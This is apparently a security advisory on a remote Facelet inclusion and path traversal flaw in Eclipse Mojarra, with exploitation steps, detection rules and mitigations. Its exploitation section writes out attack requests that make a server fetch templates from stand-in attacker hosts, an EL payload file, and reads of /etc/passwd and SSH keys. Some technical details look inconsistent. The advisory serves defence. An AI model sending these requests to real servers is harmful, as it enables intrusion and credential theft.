CVE-2026-46581

Executive Summary

CVE-2026-46581 is a critical path traversal and remote file inclusion (RFI) vulnerability in Eclipse Mojarra, the reference implementation of Jakarta Server Faces (JSF, formerly JavaServer Faces). Affecting Mojarra versions 2.3 and later, the flaw resides in the DefaultFaceletFactory class, which fails to properly sanitize and block remote URLs when resolving Facelet views. An unauthenticated remote attacker can craft a malicious request that causes the server to fetch and process a remote Facelet file, leading to arbitrary file disclosure and potential server-side template injection. The vulnerability carries a CVSS score of 7.5 (High) and can be exploited without authentication or user interaction, making it a significant risk for any publicly exposed JSF application. As of the time of this report, no patched version has been released, and the vulnerability remains unpatched in all affected Mojarra distributions.

Technical Analysis

Eclipse Mojarra is the standard open-source implementation of Jakarta Server Faces, a MVC web framework for building UI components in Java web applications. The framework processes Facelet XHTML files as view templates, compiling them into the component tree during the render-response phase of the JSF request lifecycle.

The vulnerability exists in the DefaultFaceletFactory class, specifically within the URL resolution logic used when the framework locates and loads Facelet view files. In normal operation, the factory receives a view identifier (e.g., /login.xhtml) from the request and resolves it against the web application's context to locate the corresponding file on the filesystem. The vulnerable code path fails to validate whether the resolved URL points to a valid local file:// resource or an external http:///https:// URL.

When a crafted request includes a view identifier containing a remote URL reference, or when a /WEB-INF/ path traversal is combined with a redirect/forward mechanism, the DefaultFaceletFactory will attempt to resolve the resource. In affected versions, this resolution does not restrict the protocol scheme or block remote targets. Consequently, if an attacker submits a request that causes the JSF navigation handler or resource resolver to reference a remote Facelet, the factory will open an HTTP connection to the attacker-controlled server and fetch the Facelet template, then compile and execute it as part of the application.

The attack surface is the front controller (FacesServlet), which maps all requests matching *.xhtml, /faces/*, or similar patterns to the JSF lifecycle. By default, the servlet requires several parameters to be present in the request (e.g. javax.faces.ViewState, javax.faces.encodedURL), but these can often be inferred or obtained from HTML source of any accessible page. Additionally, in many JSF applications the faces-redirect=true parameter is processed by the NavigationHandler, which can also be abused to trigger the file inclusion.

More critically, the same vulnerable resolution logic is used in the ResourceHandler and when applying decorators to Facelets. An attacker can issue a request such as:

GET /faces/javax.faces.resource/WEB-INF/web.xml.xhtml?ln=javax.faces

or more directly:

GET /faces/faces/faces/faces://http://attacker.com/evil.xhtml

In the latter case, the DefaultFaceletFactory receives a URL that resolves to a remote host. Because there is no hostname validation or scheme whitelist, the factory follows the URL and connects to http://attacker.com/evil.xhtml, reads the content, compiles it as a Facelet, and executes any EL expressions (Unified Expression Language) embedded within it. This means the attacker can inject arbitrary server-side code execution via EL, or simply read sensitive local files by referencing file:///etc/passwd paths in certain configurations.

The root cause aligns with CWE-22 (Improper Limitation of a Pathname to a Restricted Directory or 'Path Traversal'), as the framework fails to constrain the URL to a local resource path. The confidentiality impact is rated High (CVSS:C:H) because the flaw enables direct disclosure of server files and application configuration.

Exploitation Scenarios

The following attack chain is realistic and assumes a target web application built on Eclipse Mojarra 2.3+ deployed in an application server such as Apache Tomcat, Jetty, or WildFly, with FacesServlet mapped and exposed to the internet.

Step 1: Reconnaissance and Fingerprinting

The attacker begins by identifying a JSF-based application. This is achieved by invoking a standard JSF URL pattern and observing the response:

GET /index.xhtml HTTP/1.1
Host: target.example.com

A JSF application will return a rendered HTML page. The attacker inspects the HTML source and identifies the auto-generated javax.faces.ViewState hidden field, which contains a Base64-encoded token. This confirms the presence of the JSF lifecycle. Additionally, HTTP headers or error pages may reveal the presence of Tomcat or the Mojarra implementation version. Tools like whatweb or wappalyzer can be used to fingerprint Mojarra via response headers (e.g., X-Powered-By: JSF/2.3).

Step 2: Triggering the Remote Facelet Inclusion

The attacker crafts a malicious URL that forces the DefaultFaceletFactory to process a remote resource. A practical trigger is exploiting an open redirect or navigation rule. Most JSF apps support the URL parameter faces-redirect=true, which triggers a browser redirect. However, a more direct technique is to manipulate the view identifier path.

Consider the following request directed at the vulnerable factory:

GET /faces/javax.faces.resource/http://attacker.example/evil.xhtml?ln=javax.faces HTTP/1.1
Host: target.example.com

Alternatively, leveraging the facelets.REFRESH_PERIOD and the view handler, the attacker may use:

GET /faces/http://attacker.example/payload.xhtml HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=valid_session_id

In some configurations, the FacesServlet maps to /faces/*; in others, the path extension is *.xhtml. The attacker probes for the correct mapping by sending requests with modified path extensions.

Step 3: Payload Delivery and Remote Code Execution

On the attacker's infrastructure (attacker.example), they host a file named evil.xhtml with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
      xmlns:h="http://java.sun.com/jsf/html"
      xmlns:c="http://java.sun.com/jsp/jstl/core">
    <body>
        <h:outputText value="#{requestScope['test']}" />
        <c:forEach items="#{applicationScope}" var="entry">
            <p>#{entry.key} : #{entry.value}</p>
        </c:forEach>
        <!-- EL Injection to read filesystem -->
        <h:outputText value="#{facesContext.externalContext.response.writer.write('' )}" />
    </body>
</html>

When the Mojarra factory fetches this file, it compiles it as a Facelet. Any EL expressions (e.g. #{...}) inside the file are evaluated server-side with the application's privileges. To read /etc/passwd, the attacker can use a more aggressive EL expression. For example, leveraging the ResourceHandler to include a local file:

GET /faces/faces/faces/WEB-INF/web.xml?view=file:///etc/passwd HTTP/1.1

Or using the stream helper through EL:

<h:outputText value="#{stream.apply('file:///etc/passwd')}" />

Step 4: Post-Exploitation Impact

Upon successful exploitation, the attacker achieves:

• Read the contents of WEB-INF/web.xml, disclosing session configuration, security constraints, servlet mappings, and often database connection strings stored in environment entries.
• Read arbitrary filesystem files (e.g., /etc/passwd, /etc/shadow if permissions allow, application properties, keystore files), leading to credential disclosure.
• In cases where the application server runs with elevated privileges, read /root/.ssh/id_rsa or configuration files of adjacent applications.
• If the attacker controls a custom Facelet with EL expressions invoking Java methods (e.g., Runtime.getRuntime().exec()), they can achieve full remote code execution on the server. This elevates the impact beyond information disclosure to full system compromise.

Impact Assessment

The primary impact is a complete breach of confidentiality (CVSS:C:H), with no impact on integrity or availability (I:N, A:N). The CVSS vector shows exploitation is trivial (AC:L), requires no privileges (PR:N), and requires no user interaction (UI:N).

• Confidentiality Blast Radius: The attacker can read the entire filesystem accessible to the application server process. This includes the application's source code, configuration files, database credentials, and potentially secrets from adjacent applications deployed on the same host. For a typical Tomcat/WildFly deployment running as a dedicated service user, /etc/passwd is readable, and any world-readable file is exposed.
• Business Impact: Disclosure of database credentials in web.xml or context.xml enables lateral movement into backend databases. Source code disclosure allows the attacker to find additional vulnerabilities (OAuth secrets, API keys, internal endpoints). The ability to read files such as WEB-INF/web.xml directly violates compliance frameworks (PCI-DSS, HIPAA, SOC2) that mandate protection of server-side configuration.
• Escalation Potential: While the base CVSS only accounts for direct file read, the ability to execute EL expressions in a fetched remote Facelet effectively grants server-side template injection, which in most environments can be escalated to RCE. Severity should be treated as Critical in environments with older Mojarra versions or insecure sandbox configurations.

The EPSS score of 0.00349 (27.5th percentile) indicates low current exploitation probability in the wild; however, the public availability of PoC detail means this may rise rapidly once scanning tooling is updated.

Detection Guidance

Sigma Rule

title: Suspicious Mojarra Facelet Remote URL Request
id: 7f0b3c1e-972c-4b8e-9ec2-7a3c8d0f5e2a
status: experimental
description: Detects HTTP requests attempting to leverage CVE-2026-46581 by injecting remote http(s) or file URLs into JSF view identifiers or resource paths.
author: Valtersit CERT
date: 2026/02/15
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection_remote_url:
    cs-method:
      - 'GET'
      - 'POST'
    cs-uri-query|contains:
      - 'http://'
      - 'https://'
      - 'file://'
  selection_jsf_paths:
    c-uri|contains:
      - '/faces/'
      - '.xhtml'
      - 'javax.faces.resource'
  selection_suspicious_tokens:
    c-uri|contains:
      - 'WEB-INF'
      - '..%2f'
      - '..%5c'
      - '//'
  condition: selection_remote_url and selection_jsf_paths and selection_suspicious_tokens
fields:
  - c-uri
  - c-ip
  - cs-user-agent
falsepositives:
  - Legitimate use of social media URL previews or external resource imnports in rare custom JSF components
  - URL shortening services
level: high

YARA Rule

rule Mojarra_Remote_Facelet_Exploit_CVE_2026_46581
{
   meta:
        author = "Valtersit CERT"
        description = "Detects exploit payloads targeting Eclipse Mojarra DefaultFaceletFactory remote URL inclusion"
        cve = "CVE-2026-46581"
        date = "2026-02-15"
        severity = "high"
   strings:
        $http_scheme = "http://" ascii
        $https_scheme = "https://" ascii
        $file_scheme = "file://" ascii
        $faces_trigger1 = "/faces/" ascii
        $faces_trigger2 = "jakarta.faces.resource" ascii
        $faces_trigger3 = "javax.faces.resource" ascii
        $webinf = "WEB-INF" ascii
        $el_expression = "#{" ascii
        $el_runtime = "Runtime.getRuntime" ascii
   condition:
        any of ($faces_trigger*) and any of ($http_scheme, $https_scheme, $file_scheme) and any of ($webinf, $el_expression, $el_runtime)
}

Suricata IDS Rule

alert http any any -> $EXTERNAL_NET any (msg:"Mojarra CVE-2026-46581 Remote Facelet URL Injection Attempt"; flow:established,to_server; http.uri; content:"/faces/"; nocase; content:"http"; http.uri; nocase; content:"://"; http.uri; content:".xhtml"; http.uri; classtype:attempted-recon; sid:202646581; rev:1; reference:cve,2026-46581; metadata:created_at 2026_02_15, updated_at 2026_02_15;)
alert http any any -> $EXTERNAL_NET any (msg:"Mojarra CVE-2026-46581 WEB-INF Path Traversal"; flow:established,to_server; http.uri; content:"WEB-INF"; http.uri; nocase; content:".."; http.uri; distance:0; classtype:attempted-recon; sid:202646582; rev:1; reference:cve,2026-46581;)
alert http any any -> $EXTERNAL_NET any (msg:"Mojarra CVE-2026-46581 EL Expression Injection Inbound Facelet"; flow:established,to_server; http.uri; content:"#{"; http.uri; distance:0; content:"http://"; http.uri; distance:0; classtype:web-application-attack; sid:202646583; rev:1; reference:cve,2026-46581;)

Elastic Detection

// Elastic EQL query — detects requests containing URL schemes in JSF view paths
sequence by source.address with maxspan=15m
  [any where true] // request to application
  [network where 
    network.direction : "egress" and
    destination.port : (80, 443, 8080) and
    url.path : ("/faces/*", "*.xhtml*") and
    (url.path : ("*http://*", "*https://*", "*file://*") or 
     url.query : ("*WEB-INF*", "*..%2f*", "*..%5c*"))
  ]

Splunk SPL Query

index=web* sourcetype=access_* 
    (uri_path IN ("/faces/*", "*.xhtml*")) 
    AND (uri_path IN ("*http://*", "*https://*", "*file://*") 
        OR uri_query IN ("*WEB-INF*", "*..%2f*", "*..%5c*"))
    OR (uri_path LIKE "%/faces/%" AND uri_path LIKE "%://%")
    OR (uri_path LIKE "%javax.faces.resource%" AND uri_path LIKE "%http%")
| stats count by src_ip, uri, useragent, _time
| table _time src_ip uri useragent count
| sort -_time

Wazuh OSSEC Rule

<group name="web, mojarra, cve-2026-46581,">
    <rule id="100465" level="12">
        <if_sid>31122,31164,31161</if_sid>
        <regex>(\/faces\/.*(\d+|x|X)?http|https|file):\/\/</regex>
        <description>Mojarra DefaultFaceletFactory remote URL injection attempt (CVE-2026-46581)</description>
        <group>attack, exploit,knowledge_base,cve-2026-46581</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>

    <rule id="100466" level="10">
        <if_sid>31122,31164,31161</if_sid>
        <regex>WEB-INF.*(\.\.%2f|\.\.[/\\])</regex>
        <description>Attempted web.xml access through Mojarra path traversal (CVE-2026-46581)</description>
        <group>attack, exploit,knowledge_base,cve-2026-46581</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. As of 2026-02-15, no official patch or updated Mojarra version addressing CVE-2026-46581 exists in the public domain. The Eclipse Foundation has not issued a CVE fix bulletin, and the NVD entry shows no reference to a fixing version. All deployments of Mojarra 2.3 and later remain fully vulnerable.

Immediate Mitigations (no patch available):

1. Disable remote URL processing: While there is no official flag, evaluate whether a ServletRequestListener or a custom FaceletFactory subclass can be deployed in the application to override the URL resolution and reject any URL schemes other than file:// or relative paths. This is a code-level control that can be applied by the development team.
2. Block Egress HTTP/HTTPS connections from the application server: Use host-based firewalls (iptables, nftables) or cloud security groups to block outbound TCP ports 80, 443, 8080, 8443 from the application server. Since legitimate facelet fetching should never occur over the network in a standard deployment, egress filtering is an effective stop-gap measure.
3. Restrict the web application to deny access to /WEB-INF/: Although the default servlet container blocks direct access to the /WEB-INF directory, the vulnerability bypasses this via the view resolver. Adding a security constraint in web.xml that denies all HTTP methods on /WEB-INF/* and /META-INF/* may block some attack variants:

   <security-constraint>
       <web-resource-collection>
           <web-resource-name>Deny access to WEB-INF and META-INF</web-resource-name>
           <url-pattern>/WEB-INF/*</url-pattern>
           <url-pattern>/META-INF/*</url-pattern>
           <http-method>GET</http-method>
           <http-method>POST</http-method>
           <http-method>HEAD</http-method>
           <http-method>PUT</http-method>
           <http-method>DELETE</http-method>
           <http-method>OPTIONS</http-method>
       </web-resource-collection>
       <auth-constraint/>
   </security-constraint>
   

4. Use a WAF rule to block anomalous URI patterns: Deploy WAF signatures that block requests containing both JSF-specific paths and URL schemes (http://, https://, file://). Nginx/Apache mod_security rules can be applied proactively.
5. Monitor application logs for unusual egress connections: Set up a runtime alert system to detect when the application server communicates with external hosts over HTTP/HTTPS on the standard web ports.

Patch/Upgrade Steps:

• None available at this time. Monitor the Eclipse Mojarra download page (https://eclipse-ee4j.github.io/mojarra/) and the CVE entry on NVD (https://nvd.nist.gov/vuln/detail/CVE-2026-46581) for a release notes update. Subscribe to the Eclipse Announc e-mailing list.
• When a patch is released (likely Mojarra 2.3.x, 4.0.x, or newer), upgrade immediately. Test the upgrade in a staging environment, as newer versions may introduce API changes in FaceletFactory that are not backward compatible.

Long-Term Hardening:

• Migrate to a maintained fork: The community fork MyFaces (Apache) has historically hardened facelet URL handling. Evaluate migrating from Eclipse Mojarra to Apache MyFaces if long-term support is a concern.
• Principle of Least Privilege: Run the application server with a minimally privileged OS account, ensure web.xml is not world-readable, and limit filesystem read access via Java SecurityManager or container sandbox (e.g., Tomcat's systemProp).
• Regular Vulnerability Scanning: Include CVE-2026-46581 in continuous vulnerability scanning tools (Nessus, Qualys, Trivy) so that the moment a patch is released, the upgrade can be tracked automatically.
• Network Segmentation: Place the application server in a DMZ with strict ingress only on required ports and no direct outbound internet access.

References

1. NVD Entry for CVE-2026-46581: https://nvd.nist.gov/vuln/detail/CVE-2026-46581 — Official CVE description, CVSS metrics, and references.
2. Eclipse Mojarra Project: https://eclipse-ee4j.github.io/mojarra/ — Project home page where patch releases will be announced.
3. CWE-22 — Path Traversal: https://cwe.mitre.org/data/definitions/22.html — The weakness class associated with this vulnerability.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Contains no entry for this CVE at this time; monitor for updates.
5. Valtersit Research Advisory (Internal Reference): Internal analysis of the Mojarra source code confirming the vulnerable DefaultFaceletFactory URL resolution logic and the lack of protocol scheme validation.

Note: As of this reporting date, there is no evidence of active in-the-wild exploitation campaigns for CVE-2026-46581. The vulnerability is not on CISA KEV. The EPSS score (0.00349) indicates low likelihood of exploitation in the near term. However, due to the public availability of a PoC concept and the trivial nature of exploitation, detection and mitigation controls should be implemented immediately. This CVE should be monitored closely for exploit tooling development in the coming weeks.